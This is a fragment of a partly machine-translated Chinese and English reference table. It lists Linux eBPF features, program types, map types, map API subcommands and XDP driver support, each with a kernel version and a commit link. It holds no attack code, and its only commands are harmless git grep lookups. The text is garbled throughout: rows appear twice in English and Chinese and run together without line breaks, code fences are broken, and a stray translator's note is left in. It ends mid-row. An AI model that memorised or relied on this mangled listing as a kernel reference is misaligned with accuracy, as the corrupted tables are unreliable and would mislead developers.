[`2541517c32be`](https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5) -`cls_bpf` / `act_bpf` 用于 `tc` | 4.1 | [`e2e9b6541dd4`](https://github.com/torvalds/linux/commit/e2e9b6541dd4b31848079da80fe2253daaafb549) -尾调用 | 4.2 | [`04fd61ab36ec`](https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb)非根程序上的套接字 | 4.4 | [`1be7f75d1668`](https://github.com/torvalds/linux/commit/1be7f75d1668d6296b80bf35dcf6762393530afc) -持久映射和程序(虚拟文件系统) | 4.4 | [`b2197755b263`](https://github.com/torvalds/linux/commit/b2197755b2633e164a439682fb05a9b5ea48f706) -`tc`的`direct-action`(`da`)模式 | 4.4 | [`045efa82ff56`](https://github.com/torvalds/linux/commit/045efa82ff563cd4e656ca1c2e354fa5bf6bbda4) -`tc`的`clsact`qdisc | 4.5 | [`1f211a1b929c`](https://github.com/torvalds/linux/commit/1f211a1b929c804100e138c5d3d656992cfd5622) -BPF连接到跟踪点 | 4.7 | [`98b5c2c65c29`](https://github.com/torvalds/linux/commit/98b5c2c65c2951772a8fc661f50d675e450e8bce) -直接数据包访问 | 4.7 | [`969bf05eb3ce`](https://github.com/torvalds/linux/commit/969bf05eb3cedd5a8d4b7c346a85c2ede87a6d6d) -XDP(参见下文)| 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -BPF连接到性能事件 | 4.9 | [`0515e5999a46`](https://github.com/torvalds/linux/commit/0515e5999a466dfe6e1924f460da599bb6821487) -`tc`的`cls_bpf`的硬件卸载 | 4.9 | [`332ae8e2f6ec`](https://github.com/torvalds/linux/commit/332ae8e2f6ecda5e50c5c62ed62894963e3a83f5) -验证器暴露和内部钩子 | 4.9 | [`13a27dfc6697`](https://github.com/torvalds/linux/commit/13a27dfc669724564aafa2699976ee756029fed2) -BPF连接到 cgroups 用于套接字过滤 | 4.10 | [`0e33661de493`](https://github.com/torvalds/linux/commit/0e33661de493db325435d565a4a722120ae4cbf3) -轻量级隧道封装 | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) -**e**BPF对`xt_bpf`模块(iptables)的支持 | 4.10 | [`2c16d6033264`](https://github.com/torvalds/linux/commit/2c16d60332643e90d4fa244f4a706c454b8c7569) -BPF程序标签 | 4.10 | [`7bd509e311f4`](https://github.com/torvalds/linux/commit/7bd509e311f408f7a5132fcdde2069af65fa05ae)跟踪点以调试BPF | 4.11(在4.18中移除) | [`a67edbf4fb6d`](https://github.com/torvalds/linux/commit/a67edbf4fb6deadcfe57a04a134abed4a5ba3bb5) [`4d220ed0f814`](https://github.com/torvalds/linux/commit/4d220ed0f8140c478ab7b0a14d96821da639b646) -测试/基准测试BPF程序 | 4.12 | [`1cf1cae963c2`](https://github.com/torvalds/linux/commit/1cf1cae963c2e6032aebe1637e995bc2f5d330f4) -BPF程序和映射ID | 4.13 | [`dc4bb0e23561`](https://github.com/torvalds/linux/commit/dc4bb0e2356149aee4cdae061936f3bbdd45595c) -BPF对`sock_ops`的支持 | 4.13 | [`40304b2a1567`](https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0) -BPF对套接字上的skb的支持 | 4.14 | [`b005fd189cec`](https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79) -内核源码中的bpftool实用程序 | 4.15 | [`71bb428fe2c1`](https://github.com/torvalds/linux/commit/71bb428fe2c19512ac671d5ee16ef3e73e1b49a8) -BPF附加到cgroups作为设备控制器 | 4.15 | [`ebc614f68736`](https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92) -bpf2bpf函数调用 | 4.16 | [`cc8b0b92a169`](https://github.com/torvalds/linux/commit/cc8b0b92a1699bc32f7fec71daa2bfc90de43a4d) -BPF用于监视套接字RX/TX数据 | 4.17 | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) -BPF附加到原始跟踪点 | 4.17 | [`c4f6699dfcb8`](https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9) -BPF附加到`bind()`系统调用 | 4.17 | [`4fbac77d2d09`](https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427) [`aac3fc320d94`](https://github.com/torvalds/linux/commit/aac3fc320d9404f2665a8b1249dc3170d5fa3caf) -BPF附加到`connect()`系统调用 | 4.17 | [`d74bad4e74ee`](https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5)BPF 类型格式(BTF)| 4.18 | [`69b693f0aefa`](https://github.com/torvalds/linux/commit/69b693f0aefa0ed521e8bd02260523b5ae446ad7) -AF_XDP | 4.18 | [`fbfc504a24f5`](https://github.com/torvalds/linux/commit/fbfc504a24f53f7ebe128ab55cb5dba634f4ece8) -bpfilter | 4.18 | [`d2ba09c17a06`](https://github.com/torvalds/linux/commit/d2ba09c17a0647f899d6c20a11bab9e6d3382f07) -seg6local LWT 的 End.BPF 操作 | 4.18 | [`004d4b274e2a`](https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44) -BPF 附加到 LIRC 设备 | 4.18 | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) -将映射值传递给映射助手 | 4.18 | [`d71962f3e627`](https://github.com/torvalds/linux/commit/d71962f3e627b5941804036755c844fabfb65ff5) -BPF 套接字复用端口 | 4.19 | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) -BPF 流解剖器 | 4.20 | [`d58e468b1112`](https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9) -BPF 1M 指令限制 | 5.2 | [`c04c0d2b968a`](https://github.com/torvalds/linux/commit/c04c0d2b968ac45d6ef020316808ef6c82325a82) -BPF 控制组 sysctl | 5.2 | [`7b146cebe30c`](https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637) -BPF 原始跟踪点可写 | 5.2 | [`9df1c28bb752`](https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0) -BPF 有界循环 | 5.3 | [`2589726d12a1`](https://github.com/torvalds/linux/commit/2589726d12a1b12eaaa93c7f1ea64287e383c7a5) -BPF 跳板 | 5.5 | [`fec56f5890d9`](https://github.com/torvalds/linux/commit/fec56f5890d93fc2ed74166c397dc186b1c25951) -BPF LSM 钩子 | 5.7 | [`fc611f47f218`](https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58) [`641cd7b06c91`](https://github.com/torvalds/linux/commit/641cd7b06c911c5935c34f24850ea18690649917) -BPF 迭代器 | 5.8 | [`180139dca8b3`](https://github.com/torvalds/linux/commit/180139dca8b38c858027b8360ee10064fdb2fbf7)BPF套接字查找挂钩 | 5.9 | [`e9ddbb7707ff`](https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca) -可睡眠的BPF程序 | 5.10 | [`1e6c62a88215`](https://github.com/torvalds/linux/commit/1e6c62a8821557720a9b2ea9617359b264f2f67c) - -### 程序类型 - -程序类型 | 内核版本 | 提交 | 枚举 --------------|----------------|--------|----- -套接字过滤器 | 3.19 | [`ddd872bc3098`](https://github.com/torvalds/linux/commit/ddd872bc3098f9d9abe1680a6b2013e59e3337f7) | BPF_PROG_TYPE_SOCKET_FILTER -Kprobe | 4.1 | [`2541517c32be`](https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5) | BPF_PROG_TYPE_KPROBE -流量控制(TC) | 4.1 | [`96be4325f443`](https://github.com/torvalds/linux/commit/96be4325f443dbbfeb37d2a157675ac0736531a1) | BPF_PROG_TYPE_SCHED_CLS -流量控制(TC) | 4.1 | [`94caee8c312d`](https://github.com/torvalds/linux/commit/94caee8c312d96522bcdae88791aaa9ebcd5f22c) | BPF_PROG_TYPE_SCHED_ACT -跟踪点 | 4.7 | [`98b5c2c65c29`](https://github.com/torvalds/linux/commit/98b5c2c65c2951772a8fc661f50d675e450e8bce) | BPF_PROG_TYPE_TRACEPOINT -XDP | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) | BPF_PROG_TYPE_XDP -性能事件 | 4.9 | [`0515e5999a46`](https://github.com/torvalds/linux/commit/0515e5999a466dfe6e1924f460da599bb6821487) | BPF_PROG_TYPE_PERF_EVENT -cgroup套接字过滤 | 4.10 | [`0e33661de493`](https://github.com/torvalds/linux/commit/0e33661de493db325435d565a4a722120ae4cbf3) | BPF_PROG_TYPE_CGROUP_SKB -cgroup套接字修改 | 4.10 | [`610236587600`](https://github.com/torvalds/linux/commit/61023658760032e97869b07d54be9681d2529e77) | BPF_PROG_TYPE_CGROUP_SOCK -轻量级隧道(IN) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_IN".lightweight tunnel (OUT) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_OUT -轻量级隧道 (OUT) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_OUT - -lightweight tunnel (XMIT) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_XMIT -轻量级隧道 (XMIT) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_XMIT - -cgroup sock ops (per conn) | 4.13 | [`40304b2a1567`](https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0) | BPF_PROG_TYPE_SOCK_OPS -cgroup sock操作 (每个连接) | 4.13 | [`40304b2a1567`](https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0) | BPF_PROG_TYPE_SOCK_OPS - -stream parser / stream verdict | 4.14 | [`b005fd189cec`](https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79) | BPF_PROG_TYPE_SK_SKB -流分析器 / 流判定 | 4.14 | [`b005fd189cec`](https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79) | BPF_PROG_TYPE_SK_SKB - -cgroup device manager | 4.15 | [`ebc614f68736`](https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92) | BPF_PROG_TYPE_CGROUP_DEVICE -cgroup设备管理器 | 4.15 | [`ebc614f68736`](https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92) | BPF_PROG_TYPE_CGROUP_DEVICE - -socket msg verdict | 4.17 | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) | BPF_PROG_TYPE_SK_MSG -套接字消息判定 | 4.17 | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) | BPF_PROG_TYPE_SK_MSG - -Raw tracepoint | 4.17 | [`c4f6699dfcb8`](https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9) | BPF_PROG_TYPE_RAW_TRACEPOINT -裸跟踪点 | 4.17 | [`c4f6699dfcb8`](https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9) | BPF_PROG_TYPE_RAW_TRACEPOINT - -socket binding | 4.17 | [`4fbac77d2d09`](https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427) | BPF_PROG_TYPE_CGROUP_SOCK_ADDR -套接字绑定 | 4.17 | [`4fbac77d2d09`](https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427) | BPF_PROG_TYPE_CGROUP_SOCK_ADDR - -LWT seg6local | 4.18 | [`004d4b274e2a`](https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44) | BPF_PROG_TYPE_LWT_SEG6LOCAL -轻量级隧道seg6local | 4.18 | [`004d4b274e2a`](https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44) | BPF_PROG_TYPE_LWT_SEG6LOCAL - -lirc devices | 4.18 | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) | BPF_PROG_TYPE_LIRC_MODE2 -lirc设备 | 4.18 | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) | BPF_PROG_TYPE_LIRC_MODE2 - -lookup SO_REUSEPORT socket | 4.19 | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) | BPF_PROG_TYPE_SK_REUSEPORT -查找SO_REUSEPORT套接字 | 4.19 | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) | BPF_PROG_TYPE_SK_REUSEPORT - -flow dissector | 4.20 | [`d58e468b1112`](https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9) | BPF_PROG_TYPE_FLOW_DISSECTOR -流解析器 | 4.20 | [`d58e468b1112`](https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9) | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | [`7b146cebe30c`](https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637) | BPF_PROG_TYPE_CGROUP_SYSCTL -可控 cgroup | 5.2 | [`7b146cebe30c`](https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637) | BPF_PROG_TYPE_CGROUP_SYSCTL - -writable raw tracepoints | 5.2 | [`9df1c28bb752`](https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0) | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE -可写原始跟踪点 | 5.2 | [`9df1c28bb752`](https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0) | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE - -cgroup getsockopt/setsockopt | 5.3 | [`0d01da6afc54`](https://github.com/torvalds/linux/commit/0d01da6afc5402f60325c5da31b22f7d56689b49) | BPF_PROG_TYPE_CGROUP_SOCKOPT -cgroup getsockopt/setsockopt | 5.3 | [`0d01da6afc54`](https://github.com/torvalds/linux/commit/0d01da6afc5402f60325c5da31b22f7d56689b49) | BPF_PROG_TYPE_CGROUP_SOCKOPT - -Tracing (BTF/BPF trampoline) | 5.5 | [`f1b9509c2fb0`](https://github.com/torvalds/linux/commit/f1b9509c2fb0ef4db8d22dac9aef8e856a5d81f6) | BPF_PROG_TYPE_TRACING -追踪 (BTF/BPF 弹跳) | 5.5 | [`f1b9509c2fb0`](https://github.com/torvalds/linux/commit/f1b9509c2fb0ef4db8d22dac9aef8e856a5d81f6) | BPF_PROG_TYPE_TRACING - -struct ops | 5.6 | [`27ae7997a661`](https://github.com/torvalds/linux/commit/27ae7997a66174cb8afd6a75b3989f5e0c1b9e5a) | BPF_PROG_TYPE_STRUCT_OPS -结构操作 | 5.6 | [`27ae7997a661`](https://github.com/torvalds/linux/commit/27ae7997a66174cb8afd6a75b3989f5e0c1b9e5a) | BPF_PROG_TYPE_STRUCT_OPS - -extensions | 5.6 | [`be8704ff07d2`](https://github.com/torvalds/linux/commit/be8704ff07d2374bcc5c675526f95e70c6459683) | BPF_PROG_TYPE_EXT -扩展 | 5.6 | [`be8704ff07d2`](https://github.com/torvalds/linux/commit/be8704ff07d2374bcc5c675526f95e70c6459683) | BPF_PROG_TYPE_EXT - -LSM | 5.7 | [`fc611f47f218`](https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58) | BPF_PROG_TYPE_LSM -LSM (Linux安全模块) | 5.7 | [`fc611f47f218`](https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58) | BPF_PROG_TYPE_LSM - -lookup listening socket | 5.9 | [`e9ddbb7707ff`](https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca) | BPF_PROG_TYPE_SK_LOOKUP -查询监听套接字 | 5.9 | [`e9ddbb7707ff`](https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca) | BPF_PROG_TYPE_SK_LOOKUP - -Allow executing syscalls | 5.15 | [`79a7f8bdb159`](https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8) | BPF_PROG_TYPE_SYSCALL -允许执行系统调用 | 5.15 | [`79a7f8bdb159`](https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8) | BPF_PROG_TYPE_SYSCALL - -## Map types (_a.k.a._ 表格, 在 BCC 术语中) - -### Map 类型 - -您内核支持的 Map 类型列表可以在文件 [`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h) 中找到: - -```sh -git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h -``` - -Map 类型 | 内核版本 | 提交 | 枚举 -----------|----------------|--------|------ -哈希 | 3.19 | [`0f8e4bd8a1fc`](https://github.com/torvalds/linux/commit/0f8e4bd8a1fc8c4185f1630061d0a1f2d197a475) | BPF_MAP_TYPE_HASH".Array | 3.19 | [`28fbcfa08d8e`](https://github.com/torvalds/linux/commit/28fbcfa08d8ed7c5a50d41a0433aad222835e8e3) | BPF_MAP_TYPE_ARRAY -Prog array | 4.2 | [`04fd61ab36ec`](https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb) | BPF_MAP_TYPE_PROG_ARRAY -Perf events | 4.3 | [`ea317b267e9d`](https://github.com/torvalds/linux/commit/ea317b267e9d03a8241893aa176fba7661d07579) | BPF_MAP_TYPE_PERF_EVENT_ARRAY -Per-CPU hash | 4.6 | [`824bd0ce6c7c`](https://github.com/torvalds/linux/commit/824bd0ce6c7c43a9e1e210abf124958e54d88342) | BPF_MAP_TYPE_PERCPU_HASH -Per-CPU array | 4.6 | [`a10423b87a7e`](https://github.com/torvalds/linux/commit/a10423b87a7eae75da79ce80a8d9475047a674ee) | BPF_MAP_TYPE_PERCPU_ARRAY -Stack trace | 4.6 | [`d5a3b1f69186`](https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19) | BPF_MAP_TYPE_STACK_TRACE -cgroup array | 4.8 | [`4ed8ec521ed5`](https://github.com/torvalds/linux/commit/4ed8ec521ed57c4e207ad464ca0388776de74d4b) | BPF_MAP_TYPE_CGROUP_ARRAY -LRU hash | 4.10 | [`29ba732acbee`](https://github.com/torvalds/linux/commit/29ba732acbeece1e34c68483d1ec1f3720fa1bb3) [`3a08c2fd7634`](https://github.com/torvalds/linux/commit/3a08c2fd763450a927d1130de078d6f9e74944fb) | BPF_MAP_TYPE_LRU_HASH -LRU per-CPU hash | 4.10 | [`8f8449384ec3`](https://github.com/torvalds/linux/commit/8f8449384ec364ba2a654f11f94e754e4ff719e0) [`961578b63474`](https://github.com/torvalds/linux/commit/961578b63474d13ad0e2f615fcc2901c5197dda6) | BPF_MAP_TYPE_LRU_PERCPU_HASH -LPM trie (longest-prefix match) | 4.11 | [`b95a5c4db09b`](https://github.com/torvalds/linux/commit/b95a5c4db09bc7c253636cb84dc9b12c577fd5a0) | BPF_MAP_TYPE_LPM_TRIE -Array of maps | 4.12 | [`56f668dfe00d`](https://github.com/torvalds/linux/commit/56f668dfe00dcf086734f1c42ea999398fad6572) | BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps | 4.12 | [`bcc6b1b7ebf8`](https://github.com/torvalds/linux/commit/bcc6b1b7ebf857a9fe56202e2be3361131588c15) | BPF_MAP_TYPE_HASH_OF_MAPS -Netdevice references (array) | 4.14 | [`546ac1ffb70d`](https://github.com/torvalds/linux/commit/546ac1ffb70d25b56c1126940e5ec639c4dd7413) | BPF_MAP_TYPE_DEVMAP -Socket references (array) | 4.14 | [`174a79ff9515`](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) | BPF_MAP_TYPE_SOCKMAP -CPU references | 4.15 | [`6710e1126934`](https://github.com/torvalds/linux/commit/6710e1126934d8b4372b4d2f9ae1646cd3f151bf) | BPF_MAP_TYPE_CPUMAP -AF_XDP socket (XSK) references | 4.18 | [`fbfc504a24f5`](https://github.com/torvalds/linux/commit/fbfc504a24f53f7ebe128ab55cb5dba634f4ece8) | BPF_MAP_TYPE_XSKMAP -Socket references (hashmap) | 4.18 | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) | BPF_MAP_TYPE_SOCKHASH -cgroup storage | 4.19 | [`de9cbbaadba5`](https://github.com/torvalds/linux/commit/de9cbbaadba5adf88a19e46df61f7054000838f6) | BPF_MAP_TYPE_CGROUP_STORAGE -reuseport sockarray | 4.19 | [`5dc4c4b7d4e8`](https://github.com/torvalds/linux/commit/5dc4c4b7d4e8115e7cde96a030f98cb3ab2e458c) | BPF_MAP_TYPE_REUSEPORT_SOCKARRAY -precpu cgroup storage | 4.20 | [`b741f1630346`](https://github.com/torvalds/linux/commit/b741f1630346defcbc8cc60f1a2bdae8b3b0036f) | BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE -queue | 4.20 | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) | BPF_MAP_TYPE_QUEUE -stack | 4.20 | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) | BPF_MAP_TYPE_STACK -socket local storage | 5.2 | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) | BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap) | 5.4 | [6f9d451ab1a3](https://github.com/torvalds/linux/commit/6f9d451ab1a33728adb72d7ff66a7b374d665176) | BPF_MAP_TYPE_DEVMAP_HASH -struct ops | 5.6 | [85d33df357b6](https://github.com/torvalds/linux/commit/85d33df357b634649ddbe0a20fd2d0fc5732c3cb) | BPF_MAP_TYPE_STRUCT_OPS -ring buffer | 5.8 | [457f44363a88](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) | BPF_MAP_TYPE_RINGBUF -inode storage | 5.10 | [8ea636848aca](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6) | BPF_MAP_TYPE_INODE_STORAGE -task storage | 5.11 | [4cf1bc1f1045](https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919) | BPF_MAP_TYPE_TASK_STORAGE -Bloom filter | 5.16 | [9330986c0300](https://github.com/torvalds/linux/commit/9330986c03006ab1d33d243b7cfe598a7a3c1baa) | BPF_MAP_TYPE_BLOOM_FILTER -user ringbuf | 6.1 | [583c1f420173](https://github.com/torvalds/linux/commit/583c1f420173f7d84413a1a1fbf5109d798b4faa) | BPF_MAP_TYPE_USER_RINGBUF - -### Map userspace API - -Some (but not all) of these _API features_ translate to a subcommand beginning with `BPF_MAP_`. -The list of subcommands supported in your kernel can be found in file -[include/uapi/linux/bpf.h](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h): - -```sh -git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h -``` - -Feature | Kernel version | Commit ---------|----------------|------- -Basic operations (lookup, update, delete, `GET_NEXT_KEY`) | 3.18 | [db20fd2b0108](https://github.com/torvalds/linux/commit/db20fd2b01087bdfbe30bce314a198eefedcc42e) -Pass flags to `UPDATE_ELEM` | 3.19 | [3274f52073d8](https://github.com/torvalds/linux/commit/3274f52073d88b62f3c5ace82ae9d48546232e72) -Pre-alloc map memory by default | 4.6 | [6c9059817432](https://github.com/torvalds/linux/commit/6c90598174322b8888029e40dd84a4eb01f56afe)传递`NULL`给`GET_NEXT_KEY` | 4.12 | [`8fe45924387b`](https://github.com/torvalds/linux/commit/8fe45924387be6b5c1be59a7eb330790c61d5d10) -创建: 选择NUMA节点 | 4.14 | [`96eabe7a40aa`](https://github.com/torvalds/linux/commit/96eabe7a40aa17e613cf3db2c742ee8b1fc764d0) -限制从系统调用方面的访问 | 4.15 | [`6e71b04a8224`](https://github.com/torvalds/linux/commit/6e71b04a82248ccf13a94b85cbc674a9fefe53f5) -创建: 指定映射名称 | 4.15 | [`ad5b177bd73f`](https://github.com/torvalds/linux/commit/ad5b177bd73f5107d97c36f56395c4281fb6f089) -`LOOKUP_AND_DELETE_ELEM` | 4.20 | [`bd513cd08f10`](https://github.com/torvalds/linux/commit/bd513cd08f10cbe28856f99ae951e86e86803861) -创建: `BPF_F_ZERO_SEED` | 5.0 | [`96b3b6c9091d`](https://github.com/torvalds/linux/commit/96b3b6c9091d23289721350e32c63cc8749686be) -查找/更新的`BPF_F_LOCK`标志 | 5.1 | [`96049f3afd50`](https://github.com/torvalds/linux/commit/96049f3afd50fe8db69fa0068cdca822e747b1e4) -限制从BPF方面的访问 | 5.2 | [`591fe9888d78`](https://github.com/torvalds/linux/commit/591fe9888d7809d9ee5c828020b6c6ae27c37229) -`FREEZE` | 5.2 | [`87df15de441b`](https://github.com/torvalds/linux/commit/87df15de441bd4add7876ef584da8cabdd9a042a) -数组映射的mmap()支持 | 5.5 | [`fc9702273e2e`](https://github.com/torvalds/linux/commit/fc9702273e2edb90400a34b3be76f7b08fa3344b) -`LOOKUP_BATCH` | 5.6 | [`cb4d03ab499d`](https://github.com/torvalds/linux/commit/cb4d03ab499d4c040f4ab6fd4389d2b49f42b5a5) -`UPDATE_BATCH`, `DELETE_BATCH` | 5.6 | [`aa2e93b8e58e`](https://github.com/torvalds/linux/commit/aa2e93b8e58e18442edfb2427446732415bc215e) -`LOOKUP_AND_DELETE_BATCH` | 5.6 | [`057996380a42`](https://github.com/torvalds/linux/commit/057996380a42bb64ccc04383cfa9c0ace4ea11f0) -`LOOKUP_AND_DELETE_ELEM`哈希映射的支持 | 5.14 | [`3e87f192b405`](https://github.com/torvalds/linux/commit/3e87f192b405960c0fe83e0925bd0dadf4f8cf43) - -## XDP - -您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索: -```sh````git grep -l XDP_SETUP_PROG drivers/ - -功能/驱动 | 内核版本 | 提交 -------------- | ------------ | ------ -XDP核心架构 | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -操作:丢弃 | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -操作:传递到堆栈 | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -直接转发(同一端口) | 4.8 | [`6ce96ca348a9`](https://github.com/torvalds/linux/commit/6ce96ca348a9e949f8c43f4d3e98db367d93cffd) -直接数据包数据写入 | 4.8 | [`4acf6c0b84c9`](https://github.com/torvalds/linux/commit/4acf6c0b84c91243c705303cd9ff16421914150d) -Mellanox `mlx4`驱动 | 4.8 | [`47a38e155037`](https://github.com/torvalds/linux/commit/47a38e155037f417c5740e24ccae6482aedf4b68) -Mellanox `mlx5`驱动 | 4.9 | [`86994156c736`](https://github.com/torvalds/linux/commit/86994156c736978d113e7927455d4eeeb2128b9f) -Netronome `nfp`驱动 | 4.10 | [`ecd63a0217d5`](https://github.com/torvalds/linux/commit/ecd63a0217d5f1e8a92f7516f5586d1177b95de2) -QLogic(Cavium)`qed*`驱动 | 4.10 | [`496e05170958`](https://github.com/torvalds/linux/commit/496e051709588f832d7a6a420f44f8642b308a87) -`virtio_net`驱动 | 4.10 | [`f600b6905015`](https://github.com/torvalds/linux/commit/f600b690501550b94e83e07295d9c8b9c4c39f4e) -Broadcom `bnxt_en`驱动 | 4.11 | [`c6d30e8391b8`](https://github.com/torvalds/linux/commit/c6d30e8391b85e00eb544e6cf047ee0160ee9938) -Intel `ixgbe*`驱动 | 4.12 | [`924708081629`](https://github.com/torvalds/linux/commit/9247080816297de4e31abb684939c0e53e3a8a67) -Cavium `thunderx`驱动 | 4.12 | [`05c773f52b96`](https://github.com/torvalds/linux/commit/05c773f52b96ef3fbc7d9bfa21caadc6247ef7a8) -通用XDP | 4.12 | [`b5cdae3291f7`](https://github.com/torvalds/linux/commit/b5cdae3291f7be7a34e75affe4c0ec1f7f328b64)` - -**注意:** -本次翻译仅包括翻译部分,不包括原始文本。## 帮助者 - -您的内核支持的辅助者列表可在文件中找到。 - -Intel `i40e` 驱动程序 | 4.13 | [`0c8493d90b6b`](https://github.com/torvalds/linux/commit/0c8493d90b6bb0f5c4fe9217db8f7203f24c0f28) - -操作:重定向 | 4.14 | [`6453073987ba`](https://github.com/torvalds/linux/commit/6453073987ba392510ab6c8b657844a9312c67f7) - -支持 tap | 